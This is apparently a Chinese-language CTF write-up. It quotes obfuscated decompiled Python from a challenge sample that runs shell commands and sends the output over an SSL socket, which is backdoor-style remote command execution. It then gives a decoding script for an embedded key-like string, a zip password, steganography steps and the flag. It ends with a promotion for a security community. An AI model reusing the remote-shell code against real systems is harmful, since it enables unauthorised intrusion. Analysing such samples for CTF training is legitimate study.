l1lll1l1lll1lll11llll1 = subprocess.Popen(l1llllll11lll1l1l1lll1, True, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, **('shell', 'stdout', 'stderr', 'stdin'))
l11lll1ll11ll1ll11lll1 = l1lll1l1lll1lll11llll1.stdout.read() + l1lll1l1lll1lll11llll1.stderr.read()
l1111ll1lllll1ll11l1l1 = str(l11lll1ll11ll1ll11lll1.decode('utf-8'))
ssls.send(str.encode(l1111ll1lllll1ll11l1l1 + str(os.getcwd()) + ' > '))
if len(l1111ll1lllll1ll11l1l1.split('\n')) > 2:
lll11ll1lllll1ll11l1l1 = 2
else:
lll11ll1lllll1ll11l1l1 = 0
print('Sent: ' + lll11ll1lllll1ll11l1l1 * '\n' + l1111ll1lllll1ll11l1l1)
if not l1llllll11lll1l1l1lll1:
pass

s.close()


def main():
o0Ooo00o0o()
o0o0oo0oO0()
oOo0Oo00O0()

if __name__ == '__main__':
main()

从上面的代码可知,发送了这样一串字符

from base64 import *

xxx = [358, 118, 30, 43, 127, 5, 282, 133, 56, 43, 116, 68, 68, 147, 96, 13, 130, 4, 15, 35, 297, 57, 36, 83, 38, 93, 40, 147]

yyy = '--- BEGIN PRIVATE KEY ---\t\tb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW'
yyy += '\t\tQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRwAAAJA8ULvmPFC7'
yyy += '\t\t5gAAAAtzc2gtZWQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRw'
yyy += '\t\tAAAEAMNUtG4HZ42kMsON1XY/y1lGyPns8JB6JYwi936VUuz4q/AcXDhqXMSSdwD6UN/dV5'
yyy += '\t\tDZk2NfuC6vhPMkVCVKBHAAAACXJvb3RAa2FsaQECAwQ=\t\t--- END PRIVATE KEY ---'

zip_pass = [yyy[_] for _ in xxx]
pass_str = ''
for i in zip_pass:
pass_str += i

print(pass_str)
print(pass_str[::-1])
print(b64decode(pass_str[::-1]))
PS C:\Users\Administrator\Downloads\testcat\attachment> python .\pass.py
=4ld+EiemdFQQJWVfBTahUCMrgXJ
JXgrMCUhaTBfVWJQQFdmeiE+dl4=
b'%x+0%!i0_UbP@Wfz!>v^'

得到cat.zip的密码

解压得到的cat是一张png

stegsolve调色通道,发现Blue 0通道有一张二维码

flag{Ju57_E4sy_2_93t_17}

如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。



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